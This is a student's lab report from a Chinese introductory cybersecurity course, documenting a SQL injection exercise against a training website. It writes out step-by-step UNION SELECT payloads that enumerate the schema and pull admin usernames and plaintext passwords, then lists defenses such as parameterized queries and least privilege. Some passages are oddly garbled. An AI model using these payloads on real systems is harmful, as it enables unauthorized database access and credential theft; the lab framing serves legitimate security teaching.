**《网络空间安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | |  | | **年级** | |  |
| **学号** | |  | | **专业、班级** | |  |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** | **2025.05.10** | | **实验地点** | | **DS1404** | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 1. 实验目的   1. 学习并掌握SQL注入的基本原理和方法  2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  对以下网站进行SQL注入：  <http://pu2lh35s.ia.aqlab.cn/>  完成以下信息的获取：  数据库名称  数据库中的所有表的名称  每个表中的字段数量以及字段名  管理员用户密码  最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验设计  实验原理：  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。  实验步骤：  检索SQL注入相关资料，自学SQL注入基本方法。  完成对特定网站的SQL注入以获取数据库信息。 | | | | | | |
| 四、实验过程或算法   1. **检测网站是否存在SQL注入漏洞：**   进入网站 http://pu2lh35s.ia.aqlab.cn/，点击页面上的链接后可以跳转到 http://pu2lh35s.ia.aqlab.cn/?id=1，我们添加=2检测网站是否存在SQL注入漏洞，即[http://pu2lh35s.ia.aqlab.cn/?id=1=2，](http://pu2lh35s.ia.aqlab.cn/?id=1’，)发现页面异常，说明=2被直接拼接到SQL语句中，证明存在注入漏洞。  原始页面如下：  IMG_256  添加=2后，出错，初步说明存在着注入漏洞：  IMG_256   1. **数据库名称**   ?id=1=2 union select 1,database()  IMG_256   1. **数据库中的所有表的名称**   ?id=1=2 UNION SELECT 1,GROUP\_CONCAT(table\_name) FROM information\_schema.tables WHERE table\_schema=database()  IMG_256   1. **每个表中的字段数量以及字段名**   （1）admin 表  查询字段数量 ?id=1=2 UNION SELECT 1,COUNT(\*) FROM information\_schema.columns WHERE table\_name='admin' AND table\_schema=database()  IMG_256  分别构造字段，查询admin表中的内容  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='admin' limit 0,1 a02c292de8d75e3c1749aebe03bc4dc2 ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='admin' limit 1,1 0f354349d9f3641dde1d3dcab4af48c4  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='admin' limit 2,1f9e22dede0f560786893ce3e4a19ebcb  (2)dirs 表  查询字段数量 ?id=1=2 UNION SELECT 1,COUNT(\*) FROM information\_schema.columns WHERE table\_name='dirs' AND table\_schema=database()  IMG_256  分别构造字段，查询dirs表中的内容  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='dirs' limit 0,1 IMG_256  （3）news 表  查询字段数量 ?id=1=2 UNION SELECT 1,COUNT(\*) FROM information\_schema.columns WHERE table\_name='news' AND table\_schema=database()  IMG_256  分别构造字段，查询news表中的内容  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='news' limit 0,1  IMG_256 ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='news' limit 1,1  IMG_256  （4）xss 表  查询字段数量 ?id=1=2 UNION SELECT 1,COUNT(\*) FROM information\_schema.columns WHERE table\_name='xss' AND table\_schema=database()  IMG_256  分别构造字段，查询xss表中的内容  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='xss' limit 0,1  IMG_256 ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='xss' limit 1,1  IMG_256  ?id=1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='xss' limit 2,1  IMG_256   1. **管理员用户密码**   查询admin表的“username”字段的内容  先查询username字段的内容数量  ?id=1=2 UNION SELECT 1,COUNT(username) FROM admin  IMG_256  获得第一个用户名“admin”  ?id=1=2 union select 1,username from admin limit 0,1  IMG_256  获得第二个用户名“ppt领取微信”  ?id=1=2 union select 1,username from admin%20 limit 1,1  IMG_256  接着查询对应“password”字段的内容  第一个密码 hellohack  ?id=1=2 union select 1,password from admin%20 limit 0,1  IMG_256  第二个密码 zkaqbanban  ?id=1=2 union select 1,password from admin%20 limit 1,1  IMG_256 | | | | | | |
| 1. 实验过程中遇到的问题及解决情况   问题一：  希望使用limit 0,4查询4条信息，然而每次只显示第一条  解决：  依次使用limit 1,1等等逐条查询  问题二：  希望可以一次性查出所有用户名和密码，而不是使用limit  解决：  采用group\_concat而不是concat | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  （一）**实验结果**：  成功查询出如下信息（见第四部分）：  数据库名称  数据库中的所有表的名称  每个表中的字段数量以及字段名  管理员用户密码  （二）对SQL注入攻击进行防范：  1. 使用参数化查询（预编译语句）  核心措施：所有SQL语句均通过参数化接口（如PreparedStatement）执行，确保用户输入始终作为数据而非代码解析。  2. 严格的输入验证与过滤  白名单机制：根据业务逻辑限制输入格式（如手机号仅数字、邮箱包含@）。  3. 最小化数据库权限  权限分离：  应用连接数据库的账户仅授予SELECT、INSERT等必要权限。  禁用DROP、FILE、EXECUTE等高危操作权限。  4. 安全的错误处理机制  禁用详细报错：生产环境关闭数据库错误回显，返回通用提示（如“请求失败”）。  日志记录：错误详情记录至服务器日志，而非暴露给用户。  5. 使用ORM框架与安全库  ORM工具：如Hibernate、SQLAlchemy，通过对象映射减少手写SQL。  安全函数：利用框架的escapeString()或参数绑定功能。  6. Web应用防火墙（WAF）  实时防护：部署WAF（如ModSecurity、Cloudflare）拦截恶意请求。  7. 定期安全审计与测试  自动化扫描：使用SQLMap、OWASP ZAP等工具检测注入漏洞。  代码审查：重点检查SQL拼接逻辑，确保无动态拼接。  渗透测试：模拟攻击验证防护措施有效性。  8. 敏感数据加密存储  强哈希算法：密码使用bcrypt或Argon2加盐哈希，禁用MD5/SHA-1。  9. 禁用敏感元数据访问  限制系统表权限：禁止普通用户读取information\_schema。 | | | | | | |